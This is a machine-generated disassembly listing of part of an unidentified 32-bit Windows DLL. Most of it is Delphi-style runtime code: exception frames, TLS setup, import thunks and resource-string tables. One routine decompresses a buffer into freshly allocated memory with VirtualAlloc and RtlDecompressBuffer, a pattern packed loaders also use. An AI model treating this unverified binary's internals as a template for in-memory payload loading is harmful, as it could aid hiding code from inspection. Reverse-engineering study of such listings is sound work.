loc_10004268:				; CODE XREF: sub_10004218+4Cj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10004285

loc_10004275:				; CODE XREF: sub_10004218+6Bj
		lea	eax, [ebp+var_10]
		call	sub_10003620
		retn
; ---------------------------------------------------------------------------

loc_1000427E:				; DATA XREF: sub_10004218+Fo
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10004275
; ---------------------------------------------------------------------------

loc_10004285:				; CODE XREF: sub_10004218+65j
					; DATA XREF: sub_10004218+58o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_10004218	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000428C	proc near		; DATA XREF: CODE:10008630o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_100042E0
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1000A5B4
		jnz	short loc_100042D2
		mov	eax, offset dword_1000A048
		call	sub_100026DC
		mov	eax, offset dword_1000A214
		call	sub_100026DC
		mov	eax, offset dword_1000A3E0
		call	sub_100026DC
		call	sub_100018FC
		mov	eax, offset dword_1000A65C
		call	sub_10003620

loc_100042D2:				; CODE XREF: sub_1000428C+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100042E7

loc_100042DF:				; CODE XREF: sub_1000428C+59j
		retn
; ---------------------------------------------------------------------------

loc_100042E0:				; DATA XREF: sub_1000428C+6o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_100042DF
; ---------------------------------------------------------------------------

loc_100042E7:				; CODE XREF: sub_1000428C:loc_100042DFj
					; DATA XREF: sub_1000428C+4Eo
		pop	ebp
		retn
sub_1000428C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100042EC	proc near		; DATA XREF: CODE:1000862Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_100043DD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		sub	ds:dword_1000A5B4, 1
		jnb	loc_100043CF
		mov	ds:byte_10009008, 2
		mov	ds:off_1000A014, offset	sub_10001068
		mov	ds:off_1000A018, offset	sub_10001070
		mov	ds:byte_1000A046, 2
		mov	ds:off_1000A000, offset	sub_10003BA0
		call	sub_10002B30
		test	al, al
		jz	short loc_10004344
		call	sub_10002B60

loc_10004344:				; CODE XREF: sub_100042EC+51j
		call	sub_10002C24
		mov	ds:word_1000A04C, 0D7B0h
		mov	ds:word_1000A218, 0D7B0h
		mov	ds:word_1000A3E4, 0D7B0h
		call	sub_100010B8	; GetCommandLineA
		mov	ds:dword_1000A03C, eax
		call	sub_10001148
		mov	ds:dword_1000A038, eax
		call	sub_10001140	; GetVersion
		and	eax, 80000000h
		cmp	eax, 80000000h
		jz	short loc_100043B6
		call	sub_10001140	; GetVersion
		and	eax, 0FFh
		cmp	ax, 4
		jbe	short loc_100043A5
		mov	ds:dword_1000A5B8, 3
		jmp	short loc_100043C5
; ---------------------------------------------------------------------------

loc_100043A5:				; CODE XREF: sub_100042EC+ABj
		call	sub_100010E8	; GetThreadLocale
		call	sub_10004218
		mov	ds:dword_1000A5B8, eax
		jmp	short loc_100043C5
; ---------------------------------------------------------------------------

loc_100043B6:				; CODE XREF: sub_100042EC+9Bj
		call	sub_100010E8	; GetThreadLocale
		call	sub_10004218
		mov	ds:dword_1000A5B8, eax

loc_100043C5:				; CODE XREF: sub_100042EC+B7j
					; sub_100042EC+C8j
		call	sub_10001138	; GetCurrentThreadId
		mov	ds:dword_1000A030, eax

loc_100043CF:				; CODE XREF: sub_100042EC+18j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100043E4

loc_100043DC:				; CODE XREF: sub_100042EC+F6j
		retn
; ---------------------------------------------------------------------------

loc_100043DD:				; DATA XREF: sub_100042EC+6o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_100043DC
; ---------------------------------------------------------------------------

loc_100043E4:				; CODE XREF: sub_100042EC:loc_100043DCj
					; DATA XREF: sub_100042EC+EBo
		pop	ebp
		retn
sub_100042EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100043E8	proc near		; CODE XREF: sub_100044AC+Cp
		jmp	ds:dword_1000B168
sub_100043E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100043F0	proc near		; CODE XREF: sub_10004408+3p
		jmp	ds:dword_1000B164
sub_100043F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100043F8	proc near		; CODE XREF: sub_10004460+25p
					; sub_10004460+36p
		jmp	ds:dword_1000B160
sub_100043F8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004400	proc near		; CODE XREF: sub_1000441C+3Dp
		jmp	ds:dword_1000B15C
sub_10004400	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10004408	proc near		; CODE XREF: sub_1000441C+21p
		push	eax
		push	40h
		call	sub_100043F0	; LocalAlloc
		retn
sub_10004408	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10004414	proc near		; CODE XREF: sub_1000441C+1p
		mov	eax, 8
		retn
sub_10004414	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000441C	proc near		; CODE XREF: sub_10004460:loc_1000447Ap
		push	ebx
		call	sub_10004414
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_1000445E
		cmp	ds:TlsIndex, 0FFFFFFFFh
		jnz	short loc_1000443B
		mov	eax, 0E2h
		call	sub_10003614
; ---------------------------------------------------------------------------

loc_1000443B:				; CODE XREF: sub_1000441C+13j
		mov	eax, ebx
		call	sub_10004408
		test	eax, eax
		jnz	short loc_10004452
		mov	eax, 0E2h
		call	sub_10003614
; ---------------------------------------------------------------------------
		jmp	short loc_1000445E
; ---------------------------------------------------------------------------

loc_10004452:				; CODE XREF: sub_1000441C+28j
		push	eax
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_10004400	; TlsSetValue

loc_1000445E:				; CODE XREF: sub_1000441C+Aj
					; sub_1000441C+34j
		pop	ebx
		retn
sub_1000441C	endp


; =============== S U B	R O U T	I N E =======================================



sub_10004460	proc near		; CODE XREF: sub_10002594+20p
					; sub_100025EC+3p ...
		mov	cl, ds:byte_1000A660
		mov	eax, ds:TlsIndex
		test	cl, cl
		jnz	short loc_10004495
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------

loc_1000447A:				; CODE XREF: sub_10004460+3Dj
		call	sub_1000441C
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_100043F8	; TlsGetValue
		test	eax, eax
		jz	short loc_1000448F
		retn
; ---------------------------------------------------------------------------

loc_1000448F:				; CODE XREF: sub_10004460+2Cj
		mov	eax, ds:dword_1000A66C
		retn
; ---------------------------------------------------------------------------

loc_10004495:				; CODE XREF: sub_10004460+Dj
		push	eax
		call	sub_100043F8	; TlsGetValue
		test	eax, eax
		jz	short loc_1000447A
		retn
sub_10004460	endp


; =============== S U B	R O U T	I N E =======================================



sub_100044A0	proc near		; CODE XREF: sub_100044AC+2Ep
		mov	eax, offset dword_10009090
		call	sub_10004110
		retn
sub_100044A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100044AC	proc near		; CODE XREF: CODE:1000868Fp
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:TlsIndex, eax
		push	0
		call	sub_100043E8	; GetModuleHandleA
		mov	ds:dword_1000A664, eax
		mov	eax, ds:dword_1000A664
		mov	ds:dword_10009094, eax
		xor	eax, eax
		mov	ds:dword_10009098, eax
		xor	eax, eax
		mov	ds:dword_1000909C, eax
		call	sub_100044A0
		mov	edx, offset dword_10009090
		mov	eax, ebx
		call	sub_1000338C
		pop	ebx
		retn
sub_100044AC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100044F0	proc near		; DATA XREF: CODE:10008628o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_10004515
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1000A668
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000451C

loc_10004514:				; CODE XREF: sub_100044F0+2Aj
		retn
; ---------------------------------------------------------------------------

loc_10004515:				; DATA XREF: sub_100044F0+6o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10004514
; ---------------------------------------------------------------------------

loc_1000451C:				; CODE XREF: sub_100044F0:loc_10004514j
					; DATA XREF: sub_100044F0+1Fo
		pop	ebp
		retn
sub_100044F0	endp

; ---------------------------------------------------------------------------
		align 10h

loc_10004520:				; DATA XREF: CODE:off_10008624o
		sub	ds:dword_1000A668, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004528	proc near		; DATA XREF: CODE:10008638o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_1000454D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1000A670
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10004554

loc_1000454C:				; CODE XREF: sub_10004528+2Aj
		retn
; ---------------------------------------------------------------------------

loc_1000454D:				; DATA XREF: sub_10004528+6o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_1000454C
; ---------------------------------------------------------------------------

loc_10004554:				; CODE XREF: sub_10004528:loc_1000454Cj
					; DATA XREF: sub_10004528+1Fo
		pop	ebp
		retn
sub_10004528	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10004558	proc near		; DATA XREF: CODE:10008634o
		sub	ds:dword_1000A670, 1
		retn
sub_10004558	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004560	proc near		; CODE XREF: sub_100084A8+95p
					; sub_10008558+6Ep
		jmp	ds:dword_1000B1F0
sub_10004560	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004568	proc near		; CODE XREF: sub_100084A8+1Fp
					; sub_10008558+3Ep
		jmp	ds:dword_1000B1EC
sub_10004568	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004570	proc near		; CODE XREF: sub_1000820C+18Ap
		jmp	ds:dword_1000B1E8
sub_10004570	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004578	proc near		; CODE XREF: sub_10006440+53p
					; sub_10006440+7Cp
		jmp	ds:dword_1000B1E4
sub_10004578	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004580	proc near		; CODE XREF: sub_100084A8+3Fp
		jmp	ds:dword_1000B1E0
sub_10004580	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004588	proc near		; CODE XREF: sub_10008120+28p
		jmp	ds:dword_1000B1DC
sub_10004588	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004590	proc near		; CODE XREF: sub_1000731C+3Fp
		jmp	ds:dword_1000B1D8
sub_10004590	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004598	proc near		; CODE XREF: sub_10007390+19p
		jmp	ds:dword_1000B1D4
sub_10004598	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100045A0	proc near		; CODE XREF: sub_10007F0C:loc_10007F5Fp
		jmp	ds:dword_1000B1D0
sub_100045A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100045A8	proc near		; CODE XREF: sub_10005638+21p
		jmp	ds:dword_1000B1CC
sub_100045A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100045B0	proc near		; CODE XREF: sub_10008558+4Dp
		jmp	ds:dword_1000B1C8
sub_100045B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100045B8	proc near		; CODE XREF: sub_100061B8+1Ep
					; sub_10006204+13p ...
		jmp	ds:dword_1000B1C4
sub_100045B8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100045C0	proc near		; CODE XREF: CODE:10006765p
					; CODE:10006780p ...
		jmp	ds:dword_1000B1C0
sub_100045C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100045C8	proc near		; CODE XREF: sub_10007914+6p
		jmp	ds:dword_1000B1BC
sub_100045C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100045D0	proc near		; CODE XREF: sub_10007914+17p
		jmp	ds:dword_1000B1B8
sub_100045D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100045D8	proc near		; CODE XREF: CODE:10006900p
					; CODE:1000691Bp
		jmp	ds:dword_1000B1B4
sub_100045D8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100045E0	proc near		; CODE XREF: sub_10007408+F4p
		jmp	ds:dword_1000B1B0
sub_100045E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100045E8	proc near		; CODE XREF: sub_100080A8+2Ep
		jmp	ds:dword_1000B1AC
sub_100045E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100045F0	proc near		; CODE XREF: sub_1000820C+1A7p
		jmp	ds:dword_1000B1A8
sub_100045F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100045F8	proc near		; CODE XREF: sub_10006268+1Cp
					; sub_10006440+18p ...
		jmp	ds:dword_1000B1A4
sub_100045F8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004600	proc near		; CODE XREF: sub_10007134+Ep
		jmp	ds:dword_1000B1A0
sub_10004600	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004608	proc near		; CODE XREF: sub_100084A8+4Dp
		jmp	ds:dword_1000B19C
sub_10004608	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004610	proc near		; CODE XREF: sub_100084A8+6Cp
		jmp	ds:dword_1000B198
sub_10004610	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004618	proc near		; CODE XREF: sub_10008558+68p
		jmp	ds:dword_1000B194
sub_10004618	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004620	proc near		; CODE XREF: sub_1000820C+1C4p
		jmp	ds:dword_1000B190
sub_10004620	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004628	proc near		; CODE XREF: sub_1000820C+24Fp
		jmp	ds:dword_1000B18C
sub_10004628	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004630	proc near		; CODE XREF: sub_1000820C+243p
		jmp	ds:dword_1000B188
sub_10004630	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004638	proc near		; CODE XREF: sub_100084A8+65p
		jmp	ds:dword_1000B184
sub_10004638	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004640	proc near		; CODE XREF: sub_100046E0+39p
		jmp	ds:dword_1000B180
sub_10004640	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004648	proc near		; CODE XREF: sub_1000820C+1E2p
		jmp	ds:dword_1000B17C
sub_10004648	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004650	proc near		; CODE XREF: CODE:10006741p
					; sub_10006D88+6Bp
		jmp	ds:dword_1000B178
sub_10004650	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004658	proc near		; CODE XREF: CODE:10006906p
					; CODE:10006921p ...
		jmp	ds:dword_1000B174
sub_10004658	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004660	proc near		; CODE XREF: sub_1000820C+201p
					; sub_1000820C+221p
		jmp	ds:dword_1000B170
sub_10004660	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004668	proc near		; CODE XREF: sub_10007258+Dp
		jmp	ds:dword_1000B204
sub_10004668	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004670	proc near		; CODE XREF: CODE:100068E3p
		jmp	ds:dword_1000B208
sub_10004670	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004678	proc near		; CODE XREF: sub_10007408+11Fp
					; sub_10007408+130p
		jmp	ds:dword_1000B200
sub_10004678	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004680	proc near		; CODE XREF: CODE:10006816p
					; CODE:10006943p
		jmp	ds:dword_1000B1FC
sub_10004680	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10004688	proc near		; CODE XREF: CODE:10006959p
		jmp	ds:dword_1000B1F8
sub_10004688	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10004690	proc near		; CODE XREF: sub_1000820C+9Bp
					; sub_1000820C+F0p
		xchg	eax, edx
		call	sub_1000263C
		retn
sub_10004690	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10004698	proc near		; CODE XREF: sub_1000820C+140p
					; sub_1000820C+150p
		xor	ecx, ecx
		call	sub_10002734
		retn
sub_10004698	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100046A0	proc near		; DATA XREF: CODE:10008640o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_100046C5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1000A674
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100046CC

loc_100046C4:				; CODE XREF: sub_100046A0+2Aj
		retn
; ---------------------------------------------------------------------------

loc_100046C5:				; DATA XREF: sub_100046A0+6o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_100046C4
; ---------------------------------------------------------------------------

loc_100046CC:				; CODE XREF: sub_100046A0:loc_100046C4j
					; DATA XREF: sub_100046A0+1Fo
		pop	ebp
		retn
sub_100046A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_100046D0	proc near		; DATA XREF: CODE:1000863Co
		sub	ds:dword_1000A674, 1
		retn
sub_100046D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100046D8	proc near		; CODE XREF: sub_100046E0+5Ep
		jmp	ds:dword_1000B210
sub_100046D8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_100046E0	proc near		; CODE XREF: CODE:100086FCp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= qword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFECh
		mov	[esp+24h+var_20], ecx
		mov	edi, edx
		mov	[esp+24h+var_24], eax
		xor	ebp, ebp
		mov	eax, [edi]
		mov	dword ptr [esp+24h+var_18], eax
		xor	eax, eax
		mov	dword ptr [esp+24h+var_18+4], eax
		fild	[esp+24h+var_18]
		fmul	flt_1000475C
		call	sub_1000267C
		mov	esi, eax
		push	4
		push	1000h
		push	esi
		push	0
		call	sub_10004640	; VirtualAlloc
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_10004752
		xor	eax, eax
		mov	[esp+24h+var_1C], eax
		lea	eax, [esp+24h+var_1C]
		push	eax
		mov	eax, [edi]
		push	eax
		mov	eax, [esp+2Ch+var_24]
		push	eax
		push	esi
		push	ebx
		mov	eax, [esp+38h+var_20]
		push	eax
		call	sub_100046D8	; RtlDecompressBuffer
		cmp	[esp+24h+var_1C], 0
		jz	short loc_10004752
		mov	eax, [esp+24h+var_1C]
		mov	[edi], eax
		mov	ebp, ebx

loc_10004752:				; CODE XREF: sub_100046E0+42j
					; sub_100046E0+68j
		mov	eax, ebp
		add	esp, 14h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100046E0	endp

; ---------------------------------------------------------------------------
flt_1000475C	dd 1.25e1		; DATA XREF: sub_100046E0+22r

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004760	proc near		; DATA XREF: CODE:10008648o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_10004785
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1000A678
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000478C

loc_10004784:				; CODE XREF: sub_10004760+2Aj
		retn
; ---------------------------------------------------------------------------

loc_10004785:				; DATA XREF: sub_10004760+6o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10004784
; ---------------------------------------------------------------------------

loc_1000478C:				; CODE XREF: sub_10004760:loc_10004784j
					; DATA XREF: sub_10004760+1Fo
		pop	ebp
		retn
sub_10004760	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10004790	proc near		; DATA XREF: CODE:10008644o
		sub	ds:dword_1000A678, 1
		retn
sub_10004790	endp

; ---------------------------------------------------------------------------
off_10004798	dd offset dword_1000A664 ; DATA	XREF: DATA:off_100092E8o
		dd 0FFF0h
off_100047A0	dd offset dword_1000A664 ; DATA	XREF: DATA:off_100092E0o
		dd 0FFF1h
off_100047A8	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009330o
		dd 0FFF2h
off_100047B0	dd offset dword_1000A664 ; DATA	XREF: DATA:off_100093CCo
		dd 0FFF3h
off_100047B8	dd offset dword_1000A664 ; DATA	XREF: DATA:off_100092A0o
		dd 0FFF4h
off_100047C0	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009398o
		dd 0FFF5h
off_100047C8	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009368o
		dd 0FFF6h
off_100047D0	dd offset dword_1000A664 ; DATA	XREF: DATA:off_100092CCo
		dd 0FFF7h
off_100047D8	dd offset dword_1000A664 ; DATA	XREF: DATA:off_100092F0o
		dd 0FFF8h
off_100047E0	dd offset dword_1000A664 ; DATA	XREF: DATA:off_100093D8o
		dd 0FFF9h
off_100047E8	dd offset dword_1000A664 ; DATA	XREF: DATA:off_100093D4o
		dd 0FFFAh
off_100047F0	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009334o
		dd 0FFFBh
off_100047F8	dd offset dword_1000A664 ; DATA	XREF: DATA:off_100093E0o
		dd 0FFFCh
off_10004800	dd offset dword_1000A664 ; DATA	XREF: DATA:off_100093F4o
		dd 0FFFDh
off_10004808	dd offset dword_1000A664 ; DATA	XREF: DATA:off_1000936Co
		dd 0FFFEh
off_10004810	dd offset dword_1000A664 ; DATA	XREF: DATA:off_1000937Co
		dd 0FFFFh
		dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009374o
		dd 0FFE0h
off_10004820	dd offset dword_1000A664 ; DATA	XREF: DATA:off_100093F0o
		dd 0FFE1h
		dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009390o
		dd 0FFE2h
off_10004830	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009324o
		dd 0FFE3h
off_10004838	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009320o
		dd 0FFE4h
off_10004840	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009328o
		dd 0FFE5h
off_10004848	dd offset dword_1000A664 ; DATA	XREF: DATA:off_100093D0o
		dd 0FFE6h
		dd offset dword_1000A664 ; DATA	XREF: DATA:off_100093ECo
		dd 0FFE7h
off_10004858	dd offset dword_1000A664 ; DATA	XREF: DATA:off_100092E4o
		dd 0FFE8h
off_10004860	dd offset dword_1000A664 ; DATA	XREF: DATA:off_100090F4o
					; DATA:off_100092F4o
		dd 0FFE9h
off_10004868	dd offset dword_1000A664 ; DATA	XREF: DATA:off_100090F8o
					; DATA:off_10009338o
		dd 0FFEAh
off_10004870	dd offset dword_1000A664 ; DATA	XREF: DATA:off_1000929Co
; ---------------------------------------------------------------------------
		jmp	short near ptr loc_10004874+1 ;	CODE XREF: CODE:loc_10004874j
; ---------------------------------------------------------------------------
		align 4
		dd offset dword_1000A664 ; DATA	XREF: DATA:off_100093F8o
		dd 0FFECh
		dd offset dword_1000A664 ; DATA	XREF: DATA:off_1000938Co
		dd 0FFEDh
off_10004888	dd offset dword_1000A664 ; DATA	XREF: DATA:off_1000933Co
		dd 0FFEEh
off_10004890	dd offset dword_1000A664 ; DATA	XREF: DATA:off_100093B0o
		dd 0FFEFh
off_10004898	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009358o
		dd 0FFD0h
off_100048A0	dd offset dword_1000A664 ; DATA	XREF: DATA:off_1000934Co
		dd 0FFD1h
off_100048A8	dd offset dword_1000A664 ; DATA	XREF: DATA:off_100092FCo
		dd 0FFD2h
		dd offset dword_1000A664 ; DATA	XREF: DATA:off_100092B8o
		dd 0FFD3h
		dd offset dword_1000A664 ; DATA	XREF: DATA:off_1000939Co
		dd 0FFD4h
off_100048C0	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009344o
		dd 0FFD5h
off_100048C8	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009388o
		dd 0FFD6h
		dd offset dword_1000A664 ; DATA	XREF: DATA:off_100093BCo
		dd 0FFD7h
off_100048D8	dd offset dword_1000A664 ; DATA	XREF: DATA:off_100092F8o
		dd 0FFD8h
		dd offset dword_1000A664 ; DATA	XREF: DATA:off_100093B4o
		dd 0FFD9h
off_100048E8	dd offset dword_1000A664 ; DATA	XREF: DATA:off_1000910Co
					; DATA:off_100093E4o
		dd 0FFDAh
off_100048F0	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009110o
					; DATA:off_1000935Co
		dd 0FFDBh
off_100048F8	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009114o
					; DATA:off_100093C8o
		dd 0FFDCh
off_10004900	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009118o
					; DATA:off_10009298o
		dd 0FFDDh
off_10004908	dd offset dword_1000A664 ; DATA	XREF: DATA:off_1000911Co
					; DATA:off_100092C8o
		dd 0FFDEh
off_10004910	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009120o
					; DATA:off_100093FCo
		dd 0FFDFh
off_10004918	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009124o
					; DATA:off_100093B8o
		dd 0FFC0h
off_10004920	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009128o
					; DATA:off_100092B0o
		dd 0FFC1h
off_10004928	dd offset dword_1000A664 ; DATA	XREF: DATA:off_1000912Co
					; DATA:off_100092ECo
; ---------------------------------------------------------------------------
		retn	0FFh
; ---------------------------------------------------------------------------
		align 10h
off_10004930	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009130o
					; DATA:off_10009360o
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0FFh, 2 dup(0)
off_10004938	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009134o
					; DATA:off_100093C0o
		dd 0FFC4h
off_10004940	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009138o
					; DATA:off_100093DCo
		dd 0FFC5h
off_10004948	dd offset dword_1000A664 ; DATA	XREF: DATA:off_1000913Co
					; DATA:off_10009340o
		dd 0FFC6h
